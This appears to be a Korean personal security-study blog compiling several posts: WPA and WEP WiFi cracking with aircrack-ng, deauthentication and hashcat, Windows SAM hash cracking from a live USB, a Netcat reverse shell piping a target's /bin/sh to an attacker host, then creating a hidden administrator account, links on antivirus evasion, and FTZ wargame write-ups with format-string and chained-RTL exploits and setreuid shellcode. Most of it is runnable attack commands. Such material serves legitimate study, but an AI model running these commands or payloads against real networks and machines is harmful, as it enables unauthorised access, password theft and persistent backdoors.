Kali-KM_Security Study

WiFi WPA Password Crack


# airmon-ng stop wlan0

# airmon-ng start wlan0
# kill PID

1단계
# airodump-ng wlan0mon ; Target BSSID CH ESSID 확인
# airodump-ng -c 채널 --bssid AP_HWaddr -w cap wlan0mon

2단계
WPA는 맨 처음에 연결을 요청할때만 암호화 키를 교환한다. 그러므로 연결을 강제로 끊어버려야한다. 그럼 다시 연결을 시도하는데 그 정보를 가로채므로 키를 알아낼수가 있다.

# wifete 를 통하여 해당 WiFi를 선택하여 해당 정보를 수집한다.
# aireplay-ng -0 5 -a BSSID(AP) -c 상대연결기기(Station) wlan0mon    ; 연결을 끊기
여기까지하면 wifite가 정보수집을 완료하고 종료가 되어있을 것이다. 이제 브루트포스를 통하여 암호를 크랙할 것이다.

3단계
hashcat 툴을 사용할 것이다. 위에서 저장된 .cap 파일을 hashcat이 읽을 수가 없기에 파일 필터링ㅇ을 실행하여야한다.
# wpaclean out.cap input.cap    ; 을 통하여 중요 부분만을
# aircrack-ng out.cap -J 출력파일이름  ; 하면 .hccap 파일이 생성됨
# hashcat -m 2500 -a 3 out.hccap ?a?a?a?a?a?a?a?a?a?a

하지만 이게 올걸릴수 있으므로 cudahashcat을 설치하여 그래픽카드를 통하여 찾으면 속도를 그나마 향상 시킬수가 있다.
# cudahashcat -m 2500 -a 3 out.hccap ?a?a~~

차증면 .pot 라는 파일로 결과가 추출되어있다.

'Hacking > Network Hacking' 카테고리의 다른 글

WiFi Crack - WPA  (0) 2015.08.24
WiFi Crack - WEP  (0) 2015.08.24
네트워크 해킹 순서 참고 사이트  (0) 2015.08.20
Netcat Reverse Shell  (0) 2015.08.15
Cain&Abel - ARP_Spoofing Attack  (0) 2015.03.23

Comment +0

WiFi WEP Password Crack


# iwconfig    ; wlan의 존재여부를 확인
# airmon-ng stop wlan0
# airmon-ng start wlan0
# kill PID

# ifconfig     ; wlan0mon의 HWaadr을 기록해둠
# airodump-ng wlan0mon    ; 현재 어떤 WiFi를 이용할 수 있는지 확인
    ㄴ BSSID, CH, ENC, ESSID를 파악
    BSSID는 공유기의 고유하드웨어주소라 할 수 있다.
# airodump-ng -c 채널 --bssid AP_HWaddr -w 저장파일이름 wlan0mon
 해당 AP의 주소를 가진 패킷을 수집
 수집을 켜놓고 패킷을 더 모으기 위하여 거짓인증을 할 것이다. 4만개 정도 모아야함

# aireplay-ng -1 0 -e ESSID(WiFi이름) -a BSSID(AP_HWaadr) -h my_mac wlan0mon
# aireplay-ng -3 -b BSSID -h my_mac wlan0mon    ; 패키을 많이 모으기 위한 방법(arp를 통한)

# aircrack-ng -z 캡처파일
 

'Hacking > Network Hacking' 카테고리의 다른 글

WiFi Crack - WPA  (0) 2015.08.24
WiFi Crack - WEP  (0) 2015.08.24
네트워크 해킹 순서 참고 사이트  (0) 2015.08.20
Netcat Reverse Shell  (0) 2015.08.15
Cain&Abel - ARP_Spoofing Attack  (0) 2015.03.23

Comment +0

Kali linux USB Live Booting


#blkid    ;를 통하여 장치확인

#mkdir /media/hdd                         ; 임시로 마운트 시킬 디렉터리를 생성
#mount /dev/sda1 /media/hdd    ;  이 경우 장치 이름이 sda1 // NTFS 라는 단어를 통해 찾으면 된다.


ophcrack > Load > Encrypted SAM > C:\Windows\System32\config  Open

NT Hash 값을 따로 메모장에 적어주고 *.hash 라고 저장해준다. ex)win.hash

#hashcat -m 1000 -a 3 win.hash ?a?d?l?s?a?a?a
자세한 사용방법은 --help를 통해 확인하는 것이 좋다.


출처

https://www.youtube.com/watch?v=4EgYRxeFxbY     // 스무디 TV

'Hacking > System Hacking' 카테고리의 다른 글

Cracking Windows Password Hash with Kali linux Live Booting  (0) 2015.08.22
FTZ Level20 //FSB  (0) 2015.05.31
FTZ Level19 //Chaining RTL Calls  (0) 2015.05.28
FTZ Level18  (0) 2015.05.25
FTZ Level17  (0) 2015.05.24
FTZ Level16  (0) 2015.05.22

Comment +0

http://gunsystems.egloos.com/m/6783092

http://myungin.tistory.com/5

http://blog.daum.net/sysnet924/162

'Hacking > Network Hacking' 카테고리의 다른 글

WiFi Crack - WPA  (0) 2015.08.24
WiFi Crack - WEP  (0) 2015.08.24
네트워크 해킹 순서 참고 사이트  (0) 2015.08.20
Netcat Reverse Shell  (0) 2015.08.15
Cain&Abel - ARP_Spoofing Attack  (0) 2015.03.23

Comment +0

Netcat Reverse Shell


우선 두대의 PC가 필요하며 각 PC에는 Netcat이 필요하다

HOST PC에서 nc 를 cmd를 통해서 2개를 연 후

> nc -l -p 1111

> nc -l -p 2222

위와 같이 두개의 port를 오픈한다.


Target PC에선 nc 를 연 후 

# telnet HOST_IP 1111 | /bin/sh | telnet HOST_IP 2222 

이렇게 해주면 Host에서 port  1111로 오픈한 cmd 창을 통하여 명령어를 전달하면 port 2222를 통하여 결과값을 돌려 받을 수가 있다.


연결 후  'net user'라는 명령어를 사용하면 위 스크린샷 처럼 현재 시스템에 등록되어 있는 사용자를 보여준다. net user /add USER PASSWORD' 명령은 사용자를 시스템에 등록해준다. 예제로 1111의 비밀번호를 사용하는 test라는 사용자를 등록하였다.

그리고 'net localgroup administrators test /add'를 사용해서 test 사용자를 관리자 그룹으로 옮겨준다. 윈도우는 기본정책으로 관리자가 아니면 원격제어를 제한한다. 따라서 사용자를 관리자 그룹으로 만들어 주는 것이다. 관리자 그룹으로 이동시킨 사용자는 위 스크린샷 처럼 원격 로그인이 된다. 고유의 사용자를 만든 것이므로 사용자를 위한 여러 개인설정을 만든다.






백신우회

http://cdpython.tistory.com/22

http://0x191unauthorized.blogspot.kr/2011/08/antivirus-hiding.html


참고 사이트 및 출처

http://devanix.tistory.com/307

http://blog.daum.net/sysnet924/246

[출처] 리버스쏄|작성자 별향

[출처] 리버스쏄|작성자 별향

[출처] 리버스쏄|작성자 별향

[출처] 리버스쏄|작성자 별향

'Hacking > Network Hacking' 카테고리의 다른 글

WiFi Crack - WPA  (0) 2015.08.24
WiFi Crack - WEP  (0) 2015.08.24
네트워크 해킹 순서 참고 사이트  (0) 2015.08.20
Netcat Reverse Shell  (0) 2015.08.15
Cain&Abel - ARP_Spoofing Attack  (0) 2015.03.23

Comment +0

Admin_CMD > reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s 


'Hacking > Etc' 카테고리의 다른 글

Reg_시작프로그램 확인  (1) 2015.08.06
DDR_guard  (1) 2015.03.13
눈치코치  (1) 2015.03.13

Comment +1

문제확인


Hint를 확인할 경우 아래와 같이 간단한 소스를 확인 할 수가 있다. 하지만 여기서 보아야 할것은 bleh[80]인데 fgets로는 79byte 까지만 입력을 받는 것을 볼 수 있으며 이를 통하여 BOF는 할 수 없다는 것을 알 수가 있다. 그렇다면 다른 부분을 보아야 하는데 바로 printf(bleh)이다. 여기에는 포멧 스트링이 존재 하지 않기 때문에 이를 통하여 공격을 할 수가 있다.


gdb로 확인을 할려 했으나 확인이 되지 않기에 직접 hint의 소스를 통하여 같은 프로그램을 컴파일 하였다. 역시 BOF는 불가능 한것을 확인 할 수가 있다. 


우선 문제를 직접 실행하여보자. AAAA %8x %8x %8x %8x를 할 경우에 AAAA가 저장된 곳이 출력이 되는 것을 확인 할 수가 있다. 따라서

출력물 - 4f - 4212ecc - 42087a75 - 41414141 - 과 같은 순서로 구성이 되는 것을 확인 할 수가 있다. 따라서 우리는 인자로 DTOR_END의 주소를 주어서 그 주소에 새로운 값을 쓰도록 할 것이다. 공격 방법은 아래에서 구체적으로 설명을 하겠다. 이 41414141이 나오기 전의 3가지의 값을 우리는 버릴값이라고 임의로 정하자.


nm 명령어가 통하지 않기에 우리는 objdump -h attackme를 통하여 dtor_LIST의 주소를 찾는다. 그 후 이 LIST+4가 바로 DTOR_END의 주소임을 우리는 알아야 한다. 따라서 DTOR_END의 주소는 0x08049598 이다. 




공격


공격에 앞서 우리는 환경변수를 통하여 DTOR_END를 대체할 주소를 마련해야하며 이를 위하여 아래와 같이 환경변수를 등록을 한다. 그리고 공격에 쓰일 환경변수의 주소는 0xbffffc9d이다.


이제 Payload를 작성하면 아래와 같다. 이 페이로드에 대하여 설명을 하자 우선 FSB 공격의 경우에 흔히 "AAAA낮은주소BBBB높은주소"와 같은 형태로 쓰인다. 여기서 주목해야할 것은 바로 가운데에 있는 " + "를 기준으로 가독성을 위하여 일부러 나누어서 공격을 시도하였다. 우선 앞부분의 경우 인자로 "AAAA+DTOR_END(low)+BBBB+DTOR_END(high)"의 주소를 주고 있다. 낮은 주소와 높은 주소를 나누는 이유는 환경변수의 주소를 한 곳에 담을 수가 없기에 낮은주소에 2byte만큼을 그리고 높은주소에 2byte만큼을 입력하기 위함이다. 

그리고 뒤의 세번의 %8x를 통하여 우리는 앞에서 본것과 같이 버릴값을 지나친다. 세번의 포인터가 이동하기 떄문이다. 그리고 이 세번의 %8x 후에 포인터는 이제 인자가 나타내는 주소 "0x41414141"을 나타내고 있다. 이제 여기에 우리는 %(64629)c를 통하여 "AAAA낮은주소BBBB높은주소"로 이동을 하고 그 낮은 주소가 가르키는 주소에 %n을 통하여 값을 씌운다. 그리고 값을 씌운 이후 "AAAA낮은주소BBBB높은주소"에 위치하는데 여기에 %(50018)c를 통하여 한번더 이동하므로 "AAAA낮은주소BBBB높은주소"로 이동을 하게 되고 여기에 이제 %n을 통하여 값을 씌운다. 

이제 %64629c와 %50018c에 대하여 설명을 하자면 바로 환경변수의 주소를 나타내는 것이다. 환경변수의 주소는 0xbffffc9d인데 2byte씩 나누어서 값을 씌워야한다. 우선 FC9D의 값을 10진수로 변환하고 " + " 이전에 쓰인 16+ %8x*3 까지 포함하여 40Byte를 뺄셈한다. 그 값이 바로 64629이다. 이를 통하여 \x9d\xfc를 덮어 쓴것이다. 그리고 1BFFF-FC9D를 통하여 50018이란 값이 나오고 이를 통하여 \xff\xbf의 값을 씌우므로 우리는 결국 \x9f\xfc\xff\xbf 의 주소를 DTOR_END에 덮어 씌울수가 있다. 


이를 통하여 공격을 실행하여 우리는 쉘을 획득 할 수가 있다.

'Hacking > System Hacking' 카테고리의 다른 글

Cracking Windows Password Hash with Kali linux Live Booting  (0) 2015.08.22
FTZ Level20 //FSB  (0) 2015.05.31
FTZ Level19 //Chaining RTL Calls  (0) 2015.05.28
FTZ Level18  (0) 2015.05.25
FTZ Level17  (0) 2015.05.24
FTZ Level16  (0) 2015.05.22
FSB, ftz

Comment +0

문제확인


우선 문제는 아래와 같이 단순한 형태를 띄고 있다. 하지만 여기에서 주의 해야할 것은 기존과는 다르게도 setreuid가 존재 하지 않는 것을 유의 하여야 한다. 이제 아래와 같이 GDB를 통하여 스택을 확인해보면 40바이트가 할당이 되어 있는 것을 확인 할 수가 있다. 이는 buf[20] - Dummy[20] - SFP - RET의 형태로 존재하는 것을 확인 할 수가 있다.





RTL - 실패


우선 RTL을 통하여 공격을 하여보자. 기존과 같이 system( ) 함수를 이용한 공격을 할 경우 권한 상승이 이루어지지 않은 것을 확인 할 수가 있다. 바로 setreuid가 존재하지 않기 떄문이다. 따라서 system()함수를 이용한 공격은 현재 이 자체만으로는 효력이 부족하다는 것을 알 수 있다.


따라서 이번에는 execl() 함수를 통한 공격을 해보려 했다. 하지만 깔끔하게 Segmentation fault가 발생 한 것을 확인 할 수가 있다. //사실 이 방법은 첫 시도 였는데...실패..





Chaining RTL Calls


위 와 같이 그냥 공격으로는 공격이 성공하지 않는 다는 것을 확인 했다. 그래서 RTL과는 비슷하면서도 좀더 고급기법인 ROP를 공부하던 도중에 Chaining RTL Calls 라는 방식을 알게 되었다. 이는 RTL을 체인처럼 이어 여러 함수를 호출 하게 하는 것이고 그것을 가능하게 하는것이 바로 POP-RET 이다. 

대략적인 페이로드는 아래와 같이 구성을 하면 된다. 여기서 pop-pop-ret를 통하여 argv1,argv2를 Setreuid()함수에 인자로 전달을 해주고 마지막의 ret를 통하여 다시 system() 함수를 이어서 호출하게 된다. 그렇게 호출된 system()함수는 4바이트의 Exit()를 지나 "/bin/sh"를 인자로 전달 받게 되면서 결국 RTL을 통하여 한개가 아닌 함수를 호출하는 것을 볼 수가 있다. 


아래와 같이 연속된 주소로 구성된 지점을 찾아야 한다. objdump를 통하여 찾을 수가 있으며 여기서 우리는 setreuid가 인자를 2개 전달받아야 하기 떄문에 붉은 테두리 안에 표시한 지점을 사용 할 것이다. 만약 인자 수가 더 많으면 pop-pop-pop-ret를 사용하면 되고 더 여러개의 함수를 사용하고자 할 경우에는 exit()의 위치에 다시 pop-ret를 넣어주면 된다. 저 붉은 상자에서 맨위의 pop주소가 우리가 사용할 주소가 되는 것이다.








EGG


Shell Code에 setreuid를 추가한 새로운 쉘코드이다. 기존의 쉘코드에 Setreuid(3100,3100)만 추가하면 되는 것으로 이 부분의 쉘코드는 아래와 같다. 쉘 코드는 다른 블로그를 찾다가 발견한 것 >> http://geundi.tistory.com/132 

"\x31\xc0\x31\xdb\x31\xc9\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xb0\x46\xcd\x80"

따라서 여기에 기존의 25바이트 코드를 추가하면 된다. (붉게 표시한 부분이 해당 uid의 번호인 것 같다.)

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

따라서 최종 쉘코드는 다음과 같다.

"\x31\xc0\x31\xdb\x31\xc9\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"



'Hacking > System Hacking' 카테고리의 다른 글

Cracking Windows Password Hash with Kali linux Live Booting  (0) 2015.08.22
FTZ Level20 //FSB  (0) 2015.05.31
FTZ Level19 //Chaining RTL Calls  (0) 2015.05.28
FTZ Level18  (0) 2015.05.25
FTZ Level17  (0) 2015.05.24
FTZ Level16  (0) 2015.05.22

Comment +0

문제확인


우선 바로 hint를 확인하여 소스코드를 보면 아래와 같이, 지금까지의 소스보다 긴 것을 확인 할 수가 있다. 하지만 여기서 잡아야 할 것은 난잡한 다른 코드가 아닌 count의 값을 감소시켜주는 swith문을 확인 할 수가 있어야한다. 아래 코드에서 보는 것과 같이 "\x08"이 입력될 경우 count의 1 감소하는 것을 확인 할 수가 있다.


스택의 구조를 아래와 같이 확인을 해볼 경우 <Low>  fds[132] - count[4] - x[4] - Check[4] - string[0] ~ string[100] - SFP -RET  <High> 이러한 형태로 나타나는 것을 확인 할 수가 있다. 여기서 우리가 알아야할 것은 기존의 string과 같은 역할을 하는 변수의 위치가 Low 쪽에 위치하기에 우리는 버퍼를 덮어 씌울 수가 있었지만 여기서는 string이 Check보다 위쪽에 있기에 덮어 씌울 수가 없다. 하지만 우리가 알아야 할 것은 바로 포인터 변수의 이동이다. 바로 count-1을 통하여 우리는 버퍼를 이동 시킬 수가 있고 바로 그 조건이 위의 붉은 상자 안에 있는 값이다. 




공격


따라서 우리는 count의 값을 4번 이동 시켜 check에 0xdeadbeef의 값을 주어야 한다. 따라서 페이로드는 아래와 같다.




참고 : http://geundi.tistory.com/131

'Hacking > System Hacking' 카테고리의 다른 글

FTZ Level20 //FSB  (0) 2015.05.31
FTZ Level19 //Chaining RTL Calls  (0) 2015.05.28
FTZ Level18  (0) 2015.05.25
FTZ Level17  (0) 2015.05.24
FTZ Level16  (0) 2015.05.22
FTZ Level15 //Hard Coding, EGG  (2) 2015.05.21
ftz

Comment +0

문제 확인


이제 벌써 17번 문제이다. 끝이 보이고 있으니 마저 풀이를 계속하여보자. 아래의 소스와 같이 16번 문제와는 다르게 Shell()이라는 함수가 존재하지 않고 main()에 setreuid가 존재하고 있는 것을 확인 할 수가 있다. 따라서 우리는 *call 포인터변수를 통하여 printit()가 아니라 우리가 쉘코드를 메모리에 올려 그 메모리의 주소를 가리키도록 해야 이 문제에서 쉘을 획득 할 수가 있다.


GDB를 통하여 디스어셈블링을 해본다면 우선 main()에서 0x38만큼의 스택이 할당 되는 것을 확인 할 수가 있다. 또한 이전의 문제들을 통하여 우리는 스택의 구조를 짐작 할 수가 있다. 우선 Buf[20] - Dummy[20] - *Call[4] - Crap[4] - Dummy[8] - SFP - RET 의 순으로 할당이 되는 것을 알 수가 있다. 하지만 여기선 fgets를 통하여 48바이트 만큼만 전달을 할 수가 있기에 우리는 RET를 통한 공격을 할 수가 없다.


우선 브레이크지점을 형성 한 후 메모리의 상태를 확인 하여 보자. 아래와 같이 0xbfffe080에서부터 buf가 시작이 되며 그 후에 0xbfffe0a8에 *call과 crap이 순차적으로 있는 것을 확인 할 수가 있다. 





공격


환경변수를 통하여 공격을 진행하여 보자. 아래와 같이 페이로드를 입력한 후에 공격을 시도하면 공격에 성공하는 것을 확인 할 수가 있다.


Shell_Code[25Byte] : 

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"





의문점


아래와 같이 메모리를 확인할떄 A를 40개 만큼 줄경우 *call 위치에 0x804000a가 들어가는 것을 확인 할 수가 있으며, 만약 44만큼 A를 줄경우 Crap으ㅢ 위치에 0x804000a가 들어가므로 인하여 세그먼트 폴트를 일으켜 실행을 할 수가 없었다.




'Hacking > System Hacking' 카테고리의 다른 글

FTZ Level19 //Chaining RTL Calls  (0) 2015.05.28
FTZ Level18  (0) 2015.05.25
FTZ Level17  (0) 2015.05.24
FTZ Level16  (0) 2015.05.22
FTZ Level15 //Hard Coding, EGG  (2) 2015.05.21
FTZ Level14 //Distance  (0) 2015.05.17

Comment +0